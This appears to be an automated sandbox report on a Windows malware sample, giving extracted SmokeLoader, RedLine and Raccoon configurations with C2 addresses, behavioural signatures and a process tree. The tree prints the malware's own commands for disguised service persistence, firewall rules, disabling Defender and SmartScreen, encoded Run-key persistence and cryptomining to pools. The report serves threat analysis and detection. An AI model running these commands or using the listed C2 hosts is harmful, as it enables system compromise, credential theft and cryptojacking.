Analysis

  • max time kernel
    128s
  • max time network
    201s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    23/09/2021, 12:52

General

  • Target
    8ac6d2ddf561719d09b5d4a7df855f37.exe
  • Size 119KB
  • Sample210923-p34f6aecfl
  • SHA256 2fa3311a001cd0ded00b1bf34f8d64979cefb8903c69a3519da777bb43037539
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://hamilaharr6.top/

  • http://bartanayane7.top/

  • http://zesiahavie8.top/

  • http://hancarlenei9.top/

  • http://samillavakiv10.top/

  • http://feryleromand11.top/

  • http://ubrianella12.top/

  • http://hepryceeaaa13.top/

  • http://viahalexandy14.top/

  • http://wenataliana15.top/

rc4.i32
rc4.i32

Extracted

Family
  • redline

Botnet
  • qq

C2
  • 135.181.142.223:30397

Extracted

Family
  • raccoon

Botnet
  • 5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4

Attributes
  • url4cnc

    https://t.me/agrybirdsgamerept

rc4.plain
rc4.plain

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 4 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

    suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 18 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Drops startup file 1 IoCs
  • Loads dropped DLL 12 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 4 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 12 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 12 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8ac6d2ddf561719d09b5d4a7df855f37.exe
    "C:\Users\Admin\AppData\Local\Temp\8ac6d2ddf561719d09b5d4a7df855f37.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2044
    • C:\Users\Admin\AppData\Local\Temp\8ac6d2ddf561719d09b5d4a7df855f37.exe
      "C:\Users\Admin\AppData\Local\Temp\8ac6d2ddf561719d09b5d4a7df855f37.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:336
  • C:\Users\Admin\AppData\Local\Temp\AF61.exe
    C:\Users\Admin\AppData\Local\Temp\AF61.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1280
    • C:\Users\Admin\AppData\Local\Temp\AF61.exe
      C:\Users\Admin\AppData\Local\Temp\AF61.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:1756
  • C:\Users\Admin\AppData\Local\Temp\B2AC.exe
    C:\Users\Admin\AppData\Local\Temp\B2AC.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:628
    • C:\Users\Admin\AppData\Local\Temp\B2AC.exe
      C:\Users\Admin\AppData\Local\Temp\B2AC.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1684
  • C:\Users\Admin\AppData\Local\Temp\BC1F.exe
    C:\Users\Admin\AppData\Local\Temp\BC1F.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:1716
  • C:\Users\Admin\AppData\Local\Temp\16DD.exe
    C:\Users\Admin\AppData\Local\Temp\16DD.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1388
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\fueuccab\
      2⤵
        PID:1360
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\gjckiksc.exe" C:\Windows\SysWOW64\fueuccab\
        2⤵
          PID:932
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create fueuccab binPath= "C:\Windows\SysWOW64\fueuccab\gjckiksc.exe /d\"C:\Users\Admin\AppData\Local\Temp\16DD.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:988
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description fueuccab "wifi internet conection"
            2⤵
              PID:1708
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start fueuccab
              2⤵
                PID:800
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:372
              • C:\Users\Admin\AppData\Local\Temp\212A.exe
                C:\Users\Admin\AppData\Local\Temp\212A.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1536
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.google.com
                  2⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1328
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.google.com
                  2⤵
                    PID:1528
                  • C:\Users\Admin\AppData\Local\Temp\212A.exe
                    C:\Users\Admin\AppData\Local\Temp\212A.exe
                    2⤵
                    • Executes dropped EXE
                    PID:2272
                • C:\Users\Admin\AppData\Local\Temp\2531.exe
                  C:\Users\Admin\AppData\Local\Temp\2531.exe
                  1⤵
                  • Executes dropped EXE
                  PID:1080
                • C:\Windows\SysWOW64\fueuccab\gjckiksc.exe
                  C:\Windows\SysWOW64\fueuccab\gjckiksc.exe /d"C:\Users\Admin\AppData\Local\Temp\16DD.exe"
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  PID:1688
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe
                    2⤵
                    • Drops file in System32 directory
                    • Suspicious use of SetThreadContext
                    • Modifies data under HKEY_USERS
                    PID:1564
                    • C:\Windows\SysWOW64\svchost.exe
                      svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                      3⤵
                        PID:1104
                  • C:\Users\Admin\AppData\Local\Temp\3190.exe
                    C:\Users\Admin\AppData\Local\Temp\3190.exe
                    1⤵
                    • Executes dropped EXE
                    • Checks BIOS information in registry
                    • Checks whether UAC is enabled
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    • Suspicious use of AdjustPrivilegeToken
                    PID:280
                  • C:\Users\Admin\AppData\Local\Temp\393F.exe
                    C:\Users\Admin\AppData\Local\Temp\393F.exe
                    1⤵
                    • Executes dropped EXE
                    PID:1696
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection -ComputerName twitter.com
                      2⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1796
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection -ComputerName bing.com
                      2⤵
                        PID:1572
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection -ComputerName google.com
                        2⤵
                          PID:2168
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwACAAOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBOAGEAbQBlACAAJwAzADkAMwBGACcAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAAUwB0AHIAaQBuAGcAIAAtAFYAYQBsAHUAZQAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXAAzADkAMwBGAC4AYgBhAHQAJwAgAC0AUABhAHQAaAAgAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuACAALQBGAG8AcgBjAGUAOwAgAA==
                          2⤵
                          • Adds Run key to start application
                          PID:2384
                      • C:\Users\Admin\AppData\Local\Temp\4090.exe
                        C:\Users\Admin\AppData\Local\Temp\4090.exe
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of SetWindowsHookEx
                        PID:664
                        • C:\Users\Admin\AppData\Local\Temp\msetup.exe
                          "C:\Users\Admin\AppData\Local\Temp\msetup.exe"
                          2⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:1576
                          • C:\Users\Admin\AppData\Local\Temp\is-2T3L1.tmp\msetup.tmp
                            "C:\Users\Admin\AppData\Local\Temp\is-2T3L1.tmp\msetup.tmp" /SL5="$20176,3709094,831488,C:\Users\Admin\AppData\Local\Temp\msetup.exe"
                            3⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            PID:1948
                            • C:\Users\Admin\AppData\Local\Temp\msetup.exe
                              "C:\Users\Admin\AppData\Local\Temp\msetup.exe" /VERYSILENT
                              4⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              PID:760
                              • C:\Users\Admin\AppData\Local\Temp\is-3LOHM.tmp\msetup.tmp
                                "C:\Users\Admin\AppData\Local\Temp\is-3LOHM.tmp\msetup.tmp" /SL5="$30176,3709094,831488,C:\Users\Admin\AppData\Local\Temp\msetup.exe" /VERYSILENT
                                5⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                • Suspicious use of FindShellTrayWindow
                                PID:1516
                                • C:\Users\Admin\AppData\Roaming\VideoPad Framework\vpadtool.exe
                                  "C:\Users\Admin\AppData\Roaming\VideoPad Framework\vpadtool.exe"
                                  6⤵
                                  • Executes dropped EXE
                                  • Drops startup file
                                  • Loads dropped DLL
                                  • Modifies system certificate store
                                  PID:1624
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(exit)
                                    7⤵
                                      PID:2748
                                    • C:\ProgramData\Systemd\Database.exe
                                      -o pool.minexmr.com:4444 -u 42LC2r5anTLB9XpDxhtjLiTzjtWhw37qee9Qye71uDX2PtfgKCgk2SWPwe2MuzKsE2JDGzpro1v4gfr2bDRVokauL7KPiRr -p password1337 --coin=XMR --cpu-max-threads-hint=80
                                      7⤵
                                        PID:3008

                          Network

                                MITRE ATT&CK Enterprise v6

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                memory/280-142-0x00000000003A0000-0x00000000003A1000-memory.dmp

                                memory/280-145-0x00000000053E0000-0x00000000053E1000-memory.dmp

                                memory/336-62-0x0000000075D11000-0x0000000075D13000-memory.dmp

                                memory/336-60-0x0000000000400000-0x0000000000409000-memory.dmp

                                memory/628-71-0x0000000004A30000-0x0000000004A31000-memory.dmp

                                memory/628-69-0x0000000000920000-0x0000000000921000-memory.dmp

                                memory/664-169-0x00000000054D0000-0x00000000054D1000-memory.dmp

                                memory/664-159-0x0000000001310000-0x0000000001311000-memory.dmp

                                memory/760-288-0x0000000000400000-0x00000000004D8000-memory.dmp

                                memory/1080-127-0x00000000002F0000-0x0000000000380000-memory.dmp

                                memory/1080-130-0x0000000000400000-0x00000000004EC000-memory.dmp

                                memory/1220-63-0x0000000003AF0000-0x0000000003B06000-memory.dmp

                                memory/1220-92-0x0000000003D60000-0x0000000003D76000-memory.dmp

                                memory/1328-170-0x0000000006620000-0x0000000006621000-memory.dmp

                                memory/1328-111-0x0000000000C60000-0x0000000000C61000-memory.dmp

                                memory/1328-113-0x0000000004950000-0x0000000004951000-memory.dmp

                                memory/1328-116-0x0000000004912000-0x0000000004913000-memory.dmp

                                memory/1328-115-0x0000000004910000-0x0000000004911000-memory.dmp

                                memory/1328-119-0x0000000002540000-0x0000000002541000-memory.dmp

                                memory/1328-134-0x0000000005240000-0x0000000005241000-memory.dmp

                                memory/1328-148-0x0000000005630000-0x0000000005631000-memory.dmp

                                memory/1328-156-0x00000000056F0000-0x00000000056F1000-memory.dmp

                                memory/1328-158-0x000000007EF30000-0x000000007EF31000-memory.dmp

                                memory/1328-160-0x0000000006240000-0x0000000006241000-memory.dmp

                                memory/1328-168-0x00000000061B0000-0x00000000061B1000-memory.dmp

                                memory/1388-108-0x0000000000220000-0x0000000000233000-memory.dmp

                                memory/1388-109-0x0000000000400000-0x00000000004A9000-memory.dmp

                                memory/1516-294-0x00000000001D0000-0x00000000001D1000-memory.dmp

                                memory/1528-223-0x00000000049E0000-0x00000000049E1000-memory.dmp

                                memory/1528-224-0x00000000049E2000-0x00000000049E3000-memory.dmp

                                memory/1536-335-0x00000000054A0000-0x00000000054A1000-memory.dmp

                                memory/1536-101-0x0000000000200000-0x0000000000201000-memory.dmp

                                memory/1564-129-0x00000000000C0000-0x00000000000D5000-memory.dmp

                                memory/1572-275-0x000000001ACF4000-0x000000001ACF6000-memory.dmp

                                memory/1572-254-0x000000001ACF0000-0x000000001ACF2000-memory.dmp

                                memory/1576-276-0x0000000000400000-0x00000000004D8000-memory.dmp

                                memory/1684-91-0x00000000046B0000-0x00000000046B1000-memory.dmp

                                memory/1684-89-0x0000000000400000-0x0000000000422000-memory.dmp

                                memory/1684-86-0x0000000000400000-0x0000000000422000-memory.dmp

                                memory/1688-132-0x0000000000400000-0x00000000004A9000-memory.dmp

                                memory/1696-144-0x0000000002340000-0x0000000002342000-memory.dmp

                                memory/1696-139-0x000000013F5D0000-0x000000013F5D1000-memory.dmp

                                memory/1716-83-0x0000000000C90000-0x0000000000C91000-memory.dmp

                                memory/1716-85-0x0000000004D80000-0x0000000004D81000-memory.dmp

                                memory/1796-172-0x000007FEFC251000-0x000007FEFC253000-memory.dmp

                                memory/1796-174-0x000000001AC90000-0x000000001AC91000-memory.dmp

                                memory/1796-175-0x00000000023E0000-0x00000000023E1000-memory.dmp

                                memory/1796-176-0x0000000001D50000-0x0000000001D51000-memory.dmp

                                memory/1796-177-0x000000001AC10000-0x000000001AC12000-memory.dmp

                                memory/1796-187-0x00000000026E0000-0x00000000026E1000-memory.dmp

                                memory/1796-173-0x0000000002310000-0x0000000002311000-memory.dmp

                                memory/1796-178-0x000000001AC14000-0x000000001AC16000-memory.dmp

                                memory/1796-182-0x0000000002610000-0x0000000002611000-memory.dmp

                                memory/1948-287-0x00000000001D0000-0x00000000001D1000-memory.dmp

                                memory/2044-59-0x0000000000220000-0x0000000000229000-memory.dmp

                                memory/2168-325-0x000000001AB00000-0x000000001AB02000-memory.dmp

                                memory/2168-326-0x000000001AB04000-0x000000001AB06000-memory.dmp

                                memory/2272-336-0x0000000000670000-0x0000000000671000-memory.dmp

                                memory/2384-342-0x000000001AAF0000-0x000000001AAF2000-memory.dmp

                                memory/2384-344-0x000000001AAF4000-0x000000001AAF6000-memory.dmp

                                memory/2748-354-0x000000001A9E4000-0x000000001A9E6000-memory.dmp

                                memory/2748-353-0x000000001A9E0000-0x000000001A9E2000-memory.dmp